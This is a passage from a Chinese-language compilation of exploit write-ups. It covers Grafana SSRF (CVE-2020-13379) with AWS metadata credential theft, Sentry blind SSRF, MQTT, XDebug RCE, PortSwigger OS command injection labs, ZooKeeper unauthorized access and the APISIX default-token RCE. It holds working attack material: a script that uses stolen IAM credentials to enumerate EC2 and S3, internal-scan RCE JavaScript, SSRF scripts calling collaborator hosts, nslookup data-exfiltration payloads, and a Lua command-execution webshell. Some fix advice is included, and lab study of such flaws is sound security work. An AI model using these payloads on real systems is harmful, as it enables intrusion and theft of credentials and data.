bYeOBYC8z8nUWYJKuxv3Nj0cQxXDnYT6LPPXmtHgZaBSUwxMHW6gU6tAHi8OEjskLZG81wLq1DiLbdPJilNrv5RPn3bBF+QkkB+URAQ8NBZA/z8mNnDfvESS44fMGFsfTIvIdANcihZQLo6VYvECV8Vw/QaLP/GbljKPwztRC5HSPe6WrC06LZS9yeTpVGZ6jFIn1O/01hJOgEwsK7+DDwcXtE5qtOynmOJiY/iUjcz79LWh184My58ueCNxJuzIM9Tbn0sH3l1eBxECTihDNbL13v5g+8ENaih+f3rNU=",
"Expiration" : "2019-08-16T00:33:31Z"
}

有了这个IAM凭证,我们就能通过用户身份验证这一关,以内部用户身份执行对EC2实例和S3存储桶的任意访问。如果要用IAM来执行深入的用户验证测试危害证明,我推荐使用NCCGroup安全团队的Scout2工具,不过由于它会产生大量的请求响应,而且会引发一系列的密钥轮换数据,有点太过于Noisy了。这里我还是用以下标准输入的脚本方式来利用上述IAM凭证吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

out=$(cat -)
export AWS_ACCESS_KEY_ID=$(echo $out | jq .AccessKeyId | sed 's/"//g' )
export AWS_SECRET_ACCESS_KEY=$(echo $out | jq .SecretAccessKey | sed 's/"//g')
export AWS_DEFAULT_REGION=us-east-1
export AWS_SESSION_TOKEN=$(echo $out | jq .Token | sed 's/"//g')
echo "Profile loaded!"
aws sts get-caller-identity
aws ec2 describe-instances > ec2Instances.txt
echo "EC2 Instances outputted to \"ec2Instances.txt\"!"
aws s3api list-buckets > s3Buckets.txt
echo "S3 Buckets outputted to \"s3Buckets.txt\"!"

通过AWS公开的元数据服务器访问链接http://169.254.169.254/latest/user-data,我们可以从中获取到目标实例相关的很多敏感信息,虽然[AWS文档](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-add-user-data.html)一再声称不要在该实例位置存储凭证信息,但以经验来看,之前我还是从中发现获取了大量K8S Secrets、IAM Credentials、SSL Certificates、GitHub Credentials等密钥数据。
另外,我们还能从另外一个AWS路径中获取有用信息:

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

漏洞利用2-图片渲染过程导致的Blind SSRF

Grafana实例内部会发生大量的图片渲染过程,因此攻击者可以向其中以Headless Chrome实例方式(非Chrome环境中运行Chrome),构造包含超时变量的HTML页面,以此为据点,实施长期的内网RCE攻击尝试。

同样,我们利用CVE-2020-13379的SSRF漏洞,还能执行内网端口扫描探测,比如,在Grafana的通用实例中会有一个3001端口,用该SSRF方法可以成功探测到:

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 22
ETag: W/"16-NipK4Bud1bhsozqKdmj9bWnwGTg"
Date: Wed, 29 Jul 2020 11:21:31 GMT
Connection: keep-alive

Grafana Image Renderer

基于此,攻击者可以精心构造,让Grafana实例系统通过以下链接执行危险操作:

localhost:3001/render?url=http://yourhost&domain=a&renderKey=a&timeout=30

这里,我编写了以下HTML文件进行一个自动化快速的漏洞利用,用它可以进行RCE提权攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
async function postData(url = '', data = {}) {
const response = await fetch(url, {
method: 'POST',
mode: 'no-cors',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
return response.json();
}
for (var i = 0; i < 255; i++){
postData('http://10.0.0.'+i+'/oneshotrce', { cmd: 'dig dnscallback.com' })
}
</script>

漏洞利用3-操控Gitlab的 Prometheus Redis导出器

Prometheus 是一个开源的服务监控系统和时间序列数据库。之前我们已经提到过,该漏洞还会对版本<13.1.1的Grafana Gitlab实例产生影响。根据Gitlab说明文档介绍,Grafana Gitlab实例 9.0版本开始,其Prometheus和导出器(Exporter)都是默认开启的,恰巧这些导出器可以成为攻击者利用CVE-2020-13379的突破口,其中一个导出器即是Redis Exporter,其路径为**http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=\***,攻击者利用target参数构造,通过该路径可以下载redis服务器中的所有密钥信息。

漏洞利用4- Image-Only SSRF -> Full-Read SSRF

在Grafana**开源文件avatar.go的第104行**中,其对该SSRF响应内容类型(Content Type)为image/jpeg,这就给了我们基于该SSRF漏洞,综合利用其它漏洞的独特机会。假设我们有以下场景:example.com/fetchImage.php?image=http://localhost/image.png

其fetchImage.php中的代码向请求目标发送了一个HTTP请求,然后会检查其内容类型(Content Type)是否为image/jpeg,如果是就返回请求内容。因此,如果某个内部Grafana实例存在我们这里的CVE-2020-13379漏洞,那么攻击者可以构造以下链接形成一个内容读取型的SSRF漏洞攻击:example.com/fetchImage.php?image=http://internalgrafana/avatar/.../169.254.169.254

由于返回内容需要是image/jpeg,因此它会执行一个content-type验证。另外,因为这是一个图像方式SSRF触发的读取型SSRF,而且攻击者可以控制其中的链接跳转,所以,攻击者还可把它用于文件扩展名检查欺骗。

总结

该漏洞发现其实并不复杂,有意思的是Grafana内部HTTP请求发生时,读取 :hash时的参数注入问题,但无论如何,其漏洞影响非常严重,且其漏洞利用非常稳定有效。以下是我的几点心得:

1、在源码检查时,首先去考虑未授权路径,其次是授权绕过;

2、如果在开源应用中发现了某些有意思的功能,那相对于“黑盒测试”来说,可以针对该功能花心思测试测试,至少你能以开源方式获取更多数据,并能把你的“漏洞嗅觉”派上用场;

3、针对0-day漏洞的挖掘可能会激发你的动力;

4、有些公司不会为他们的0-day漏洞买单,

5、自己发现漏洞后,可以和值得依赖的朋友分享,让他们也帮助看看是否能进行更深入的漏洞利用;

6、这是我的一个漏洞报告模板工具,欢迎参考-https://github.com/rhynorater/reports

参考来源

rhynorater

Sentry SSRF

Sentry SSRF

本文转自Mysticbinary 并作补充

What is Sentry

Sentry 是一个实时的事件日志和聚合平台,基于 Django 构建。一般在url上、或者logo上看到有sentry都可以用它的exp试试,原理是由于sentry默认开启source code scrapping ,导致可以从外部进行blind ssrf请求。

exp testing

1
2
3
(python3) ➜  sentrySSRF git:(master) python sentrySSRF.py -i http://【your target url】 -d
Found Sentry: https://ef00ffc3xxxxxe5b60afff8c138c77e@【your target url】/1
Enter your burpcollaborator address:【your dnslog】

然后去你到dnslog看看有没有请求记录即可。

exp源码参考:
配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import re

if __name__ == "__main__":
s = "https://a8d729459beb446eb3cbb9df997dcc7b@sentry.mindworks.xyz/1"
collaborator = "dp6sk5k006h6dcq3bdu6e6a9t0zqnf.burpcollaborator.net"
key = re.search('https://(.*)@', s)
domain = re.search('@(.*)/', s)
number = re.search('/(.*)', s[8:])
url = "https://" + domain.group(1) + "/api/" + number.group(1) + "/store/?sentry_key=" + key.group(1) + "&sentry_version=7"
print(url)
datas = {"extra":{"component":"redux/actions/index","action":"RegisterDeviceWeb","serialized":{"code":"INVALID_CREDENTIALS","details":[]}},"fingerprint":["3cbf661c7f723b0a5816c16968fd9493","Non-Error exception captured with keys: code, details, message"],"message":"Non-Error exception captured with keys: code, details, message","stacktrace":{"frames":[{"colno":218121,"filename":"http://"+collaborator,"function":"?","lineno":1}]},"exception":{"values":[{"value":"Custom Object","type":"Error"}]},"event_id":"d0513ec5a3544e05aef0d1c7c5b24bae","platform":"javascript","sdk":{"name":"sentry.javascript.browser","packages":[{"name":"npm:@sentry/browser","version":"4.6.4"}],"version":"4.6.4"},"release":"6225dd99","user":{"phash":"996a3f4661e02cb505ae0daf406555e9b914f9d43d635c52cfc7485046862a7f"},"breadcrumbs":[{"timestamp":1554226659.455,"category":"navigation","data":{"from":"/","to":"/login"}}]}
headers = {'Content-type': 'application/json', 'Origin':'https://z.tochka.com/'}
rsp = requests.post(url, json=datas, headers=headers)

To Build blind http pack

1
2
3
4
5
6
7
8
9
10
11
POST /api/1/store/?sentry_version=7&sentry_client=raven-js%2f3.15.0&sentry_key=【your key】 HTTP/1.1
Host: 【your target url】.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Content-type: application/json
Origin:【随意domain】
Content-Length: 329

{"project":"30","logger":"javascript","platform":"javascript","exception":{"values":[{"type":"Error","value":"Trying to get control scope but angular isn't ready yet or something like this","stacktrace":{"frames":[{"filename":"http://【your dnslog】","lineno":110,"colno":81071,"function":"XMLHttpRequest.o","in_app":true}]}}]}}

image

sentry_version = 红线2 (报错可以手动修改几个其他版本试试)
sentry_key = Raven.config 红线1
origin = 可以随便写

Repair

1、sentry关闭 source code scrapping;
2、保证配置文件中的黑名单不为空:/sentry/conf/server.py

Reference

https://hackerone.com/reports/374737
https://github.com/xawdxawdx/sentrySSRF

MQTT未授权漏洞利用

MQTT未授权漏洞利用

本文转自唐小风 并作补充

1、扫描端口

image

2、mqtt-pwd安装

1
2
3
4
git clone https://github.com/akamai-threat-research/mqtt-pwn.git
cd mqtt-pwd
docker-compose up --build --detach
docker-compose run cli
1
2
3
4
discovery
scans
scans -i 1
topics

image

XDebug 远程调试漏洞(代码执行)

XDebug 远程调试漏洞(代码执行)

本文转自joker0xxx3 并作补充

简介

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1

1
2
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

更多说明可参考:

漏洞利用

启动完成后,访问http://192.168.44.132:8080/即可发现主页是一个简单的phpinfo,在其中可以找到xdebug的配置,可见开启了远程调试。

image

因为需要使用dbgp协议与目标服务器通信,所以无法用http协议复现漏洞。

我编写了一个漏洞复现脚本,指定目标web地址、待执行的php代码即可:

1
2
# 要求用python3并安装requests库
python3 exp.py -t http://192.168.44.132:8080/index.php -c 'shell_exec('id');'

image

重要说明:因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)。

PortSwigger Academy | OS command injection 操作系统命令注入

PortSwigger Academy | OS command injection : 操作系统命令注入

本文转自en0_0 并作补充

总结

  • &name=1&email=1%401.com||ping+-c+10+127.0.0.1||&subject=1 有时候需要url编码

  • productId=1&storeId=1|whoami POST方法不能用&

    在本节中,我们将解释什么是OS命令注入,描述如何检测和利用漏洞,为不同的操作系统拼写一些有用的命令和技术,并总结如何防止OS命令注入。

    image

什么是OS命令注入?

操作系统命令注入(也称为外壳程序注入)是一个Web安全漏洞,它使攻击者可以在运行应用程序的服务器上执行任意操作系统(OS)命令,并且通常会完全破坏该应用程序及其所有数据。 攻击者通常可以利用OS命令注入漏洞来破坏托管基础结构的其他部分,利用信任关系将攻击转移到组织内的其他系统。

执行任意命令

考虑一个购物应用程序,该应用程序使用户可以查看特定商店中某商品是否有库存。 该信息可通过如下网址访问:

https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供库存信息,应用程序必须查询各种旧系统。 由于历史原因,该功能是通过使用产品和存储ID作为参数调用shell命令来实现的:

stockreport.pl 381 29
此命令输出指定项目的库存状态,并返回给用户。

由于该应用程序无法防御OS命令注入,因此攻击者可以提交以下输入以执行任意命令:

& echo aiwefwlguh &

如果此输入是在productID参数中提交的,那么应用程序执行的命令是:

stockreport.pl & echo aiwefwlguh & 29

echo命令只是使提供的字符串在输出中回显,并且是测试某些类型的OS命令注入的有用方法。 & 字符是shell命令分隔符,因此执行的实际上是一个接一个的三个独立命令。 结果,返回给用户的输出为:

1
2
3
Error - productID was not provided
aiwefwlguh
29: command not found

输出的三行表明:

原始的stockreport.pl命令在没有预期参数的情况下执行,因此返回了错误消息。

执行注入的echo命令,并且在输出中回显提供的字符串。

原始参数29作为命令执行,从而导致错误。

通常,将附加命令分隔符&放置在注入命令之后是很有用的,因为这会将注入命令与注入点后面的内容分开。 这减少了随后发生的事件阻止注入的命令执行的可能性。

Lab: OS command injection, simple case

productId=1&storeId=1|whoami

image

有用的命令

当您确定了OS命令注入漏洞后,通常可以执行一些初始命令来获取有关您受到破坏的系统的信息。 以下是在Linux和Windows平台上有用的一些命令的摘要:

命令目的 Linux Windows
当前用户的名称 whoami whoami
操作系统 uname -a ver
网络配置 ifconfig ipconfig / all
网络连接 netstat -an netstat -an
运行进程 ps -ef tasklist

操作系统命令注入漏洞盲注

OS命令注入的许多实例都是盲注的漏洞。 这意味着应用程序不会在其HTTP响应中返回命令的输出。 盲注漏洞仍然可以被利用,但是需要不同的技术。

考虑一个允许用户提交有关该站点的反馈的网站。 用户输入他们的电子邮件地址和反馈消息。 然后,服务器端应用程序会向站点管理员生成一封包含反馈的电子邮件。 为此,它使用提交的详细信息调出邮件程序。 例如:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail命令的输出(如果有)不会在应用程序的响应中返回,因此使用echo有效负载将无效。 在这种情况下,您可以使用多种其他技术来检测和利用漏洞。

使用时间延迟检测盲注OS命令注入

您可以使用注入的命令来触发时间延迟,从而允许您根据应用程序响应的时间来确认命令已执行。 ping命令是执行此操作的有效方法,因为它使您可以指定要发送的ICMP数据包的数量,从而指定该命令运行所花费的时间:

& ping -c 10 127.0.0.1 &

此命令将导致应用程序ping其环回网络适配器10秒钟。

Lab: Blind OS command injection with time delays

1
csrf=j25Ci6owysrme8z4HvkicgC1hqXWr0Yz&name=1&email=1%401.com||ping+-c+10+127.0.0.1||&subject=1&message=1

image

通过重定向输出来利用盲注OS命令注入

您可以将注入命令的输出重定向到Web根目录下的文件中,然后可以使用浏览器进行检索。 例如,如果应用程序从文件系统位置/var/www/static提供静态资源,则可以提交以下输入:

& whoami> /var/www/static/whoami.txt &

>字符将whoami命令的输出发送到指定文件。 然后,您可以使用浏览器获取https://vulnerable-website.com/whoami.txt来检索文件,并查看注入命令的输出。

Lab: Blind OS command injection with output redirection

1
&email=1%401.com||whoami+>+/var/www/images/whoami.txt||&

image

利用带外(OAST)技术利用盲目的OS命令注入

您可以使用注入的命令,通过OAST技术触发与您控制的系统的带外网络交互。 例如:

& nslookup kgji2ohoyw.web-attacker.com &

此有效负载使用nslookup命令对指定的域进行DNS查找。 攻击者可以监视是否发生了指定的查找,从而检测到命令已成功注入。

Lab: Blind OS command injection with out-of-band interaction

image

带外通道还提供了一种从注入的命令中提取输出的简便方法:
(根本别啥用)

& nslookup whoami.kgji2ohoyw.web-attacker.com &

这将导致对DNS的攻击者所在域进行域名查询,其中包含whoami命令的结果:

1
wwwuser.kgji2ohoyw.web-attacker.com

Lab: Blind OS command injection with out-of-band data exfiltration

1
email=1%401.com||nslookup+`whoami`.132kftea48t801xjselcncwfp6vwjl.burpcollaborator.net||

image

注入OS命令的方式

各种shell字符可用于执行OS命令注入攻击。

许多字符用作命令分隔符,使命令可以链接在一起。 以下命令分隔符可在基于Windows和Unix的系统上运行:

&
&&
|
||

以下命令分隔符仅在基于Unix的系统上起作用:

;
Newline (0x0a or \n)

在基于Unix的系统上,您还可以使用反引号或美元字符在原始命令中内嵌执行注入命令: (原来如此,windows不能用反引号)

1
2
`injected-command`
$( injected-command )

请注意,不同的shell元字符具有细微不同的行为,这些行为可能会影响它们是否在某些情况下起作用,以及它们是否允许带内检索命令输出或仅对盲注使用有用。

有时,您控制的输入会出现在原始命令的引号中。 在这种情况下,需要先使用引号终止上下文(使用”或’),然后再使用适当的外壳元字符来插入新命令。

如何防止OS命令注入攻击

到目前为止,防止OS命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用OS命令。 几乎在每种情况下,都有使用更安全的平台API来实现所需功能的替代方法。

如果认为无法通过用户提供的输入调出OS命令,则必须执行强大的输入验证。 有效验证的一些示例包括:

  • 根据 允许值 的白名单进行验证。
  • 验证输入是否为数字。
  • 验证输入仅包含字母数字字符,不包含其他语法或空格。

切勿尝试通过转义shell元字符来清理输入。 实际上,这太容易出错,容易被熟练的攻击者绕开。

ZooKeeper 未授权访问漏洞(CVE-2014-085) 复现

ZooKeeper 未授权访问漏洞(CVE-2014-085) 复现

本文转自gclome 并作补充

最近想收集一下近几年的通用型漏洞,然后就找到了这个漏洞,那就先来这个漏洞吧!

ZooKeeper未授权访问漏洞是什么

ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境

漏洞原因

默认安装配置完的zookeeper允许未授权访问,管理员未配置访问控制列表(ACL)。导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据甚至杀死服务。

(原因如下:默认的ACL中未进行限制访问)

image

用于访问控制的模式有:
(1)world 代表任何用户
(2)auth 不使用任何id,代表任何已经认证过的用户
(3)digest 使用username:password认证,password使用md5哈希之后base64再编码,现改成了sha1加密。
(4)ip 用客户端的ip作为ACL的标识。

环境搭建

测试机: Kali (192.168.133.134)
靶机: Kali(192.168.133.132)
版本:zookeeper-3.4.14

分别在测试机和靶机都安装zookeeper-3.4.14
安装命令如下:

1
2
3
4
5
6
#搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动

搭建成功 默认端口是2181

漏洞证明

尝试连接

1
./zkCli.sh -server  192.168.133.132 2181

如下图,连接成功

image

image

并且存在此漏洞!

获取该服务器的环境

1
echo envi|nc 192.168.133.132 2181

通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

image

漏洞利用

part1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
stat:列出关于性能和连接的客户端的统计信息。
echo stat |nc 192.168.133.132 2181

ruok:测试服务器是否运行在非错误状态。
echo ruok |nc 192.168.133.132 2181

reqs:列出未完成的请求。
echo reqs |nc 192.168.133.132 2181

envi:打印有关服务环境的详细信息。
echo envi |nc 192.168.133.132 2181

dump:列出未完成的会话和临时节点。
echo dump |nc 192.168.133.132 2181

image

part2

我们在zk的客户端可以进行节点权限的查看和设置。

image

从上述操作可以看出,zk新创建的znode默认访问方式为world。我们通过addauth和setAcl给/test节点设置访问权限为digest,操作权限为cdrwa,用户名为user,密码为password。

当然,我们使用getAcl是无法获取可访问用户test的明文密码的(要是可以获取明文密码,不又是个漏洞嘛~~)。

另启zk客户端,执行ls /test,发现当前用户已经无法访问/test节点,提示信息为“Authentication is not valid”。解决方法就是addauth添加认证用户了,并且必须使用用户名和密码明文进行认证。

addauth添加digest认证用户user后,即可正常访问/test节点了。

另外,还有一点需要注意,znode的ACL是相互独立的。也就是说,任意不同节点可以用不同的acl列表,互不影响,并且ACL是不可被继承的。

我们在/test下创建leaf节点,可发现,leaf节点的认证方式为world,即任何用户都有访问权限。

利用zookeeper可视化管理工具进行连接

下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

image

image

修复方案

禁止把Zookeeper直接暴露在公网

添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)

配置防火墙策略,只允许指定IP访问2181端口

配置服务ACL限制IP访问

参考链接

https://blog.csdn.net/u011721501/article/details/44062617
https://www.cnblogs.com/0nc3/p/12071281.html
https://xz.aliyun.com/t/6103#toc-7
https://blog.csdn.net/Aaron_Miller/article/details/106049421
https://www.cnblogs.com/ilovena/p/9484522.html

Apache APISIX 默认密钥漏洞(CVE-2020-13945)

Apache APISIX 默认密钥漏洞(CVE-2020-13945)

本文转自horisMMM 并作补充

APISIX简介

官方一句话介绍:Apache APISIX是一个高性能API网关。

API网关又是什么?

百度:API网关,软件术语,两个相互独立的局域网之间通过路由器进行通信,中间的路由被称之为网关。

任何一个应用系统如果需要被其他系统调用,就需要暴露 API,这些 API 代表着一个一个的功能点。

如果两个系统中间通信,在系统之间加上一个中介者协助 API 的调用,这个中介者就是 API 网关。

那意思就是Apisix是两个系统的一个中介,可以使用这个中间管理系统API。

存在漏洞

在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

意思就是有一个默认的Token,可以直接得到管理员权限,并插入攻击脚本。

漏洞复现

docker-compose up -d 搭建环境

docker ps 查看端口为9080

image

访问 127.0.0.1/asixpix/admin/routes,显示token不正确

image

抓这个包,把方法改为POST,加上X-API-KEY: edd1c9f034335f136f87ad84b625c8f1,加上payload

1
2
3
4
5
6
7
8
9
10
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}

image

然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:

1
http://127.0.0.1:9080/attack?cmd=id

image

payload分析

查看官方文档,观察创建路由的方法

https://apisix.apache.org/zh/docs/apisix/getting-started/

image

与payload对比,发现payload格式与官方创建路由一致,只是利用script插入了一段lua恶意脚本。

在 Apache APISIX 中,我们在 Route 实体中新增了 script 执行逻辑,可用于接收 Dashboard 生成的 Lua 函数并执行,它支持调用已有插件以复用代码。另外,它也作用于 HTTP 请求的生命周期中的各个阶段,如 access、header_filer、body_filter 等,系统会在相应阶段自动执行 script 函数对应阶段代码
image

接下来对lua脚本进行分析,\n是换行

1
2
3
4
5
6
7
8
9
local _M = {} \n function _M.access(conf, ctx)//在access阶段进行处理,检查如果达到的不健康次数超过了配置的最大次数,则就被break掉。这里没找到看得懂的资料。
local os = require('os')//加载os模块,用于进行文件操作
local args = assert(ngx.req.get_uri_args()) //assert()是断言,类似于try(),这里是获取uri中给的参数。
local f = assert(io.popen(args.cmd, 'r'))//io.popen()用于执行系统命令,'r'是模式
local s = assert(f:read('*a'))//读取全部内容
ngx.say(s)//输出,还有一种方法是ngx.print(),但两者有区别
f:close()
end
return _M

function _M.access(conf, ctx)

image

assert()

image

read(‘a’)

https://blog.csdn.net/u013625451/article/details/78879739

image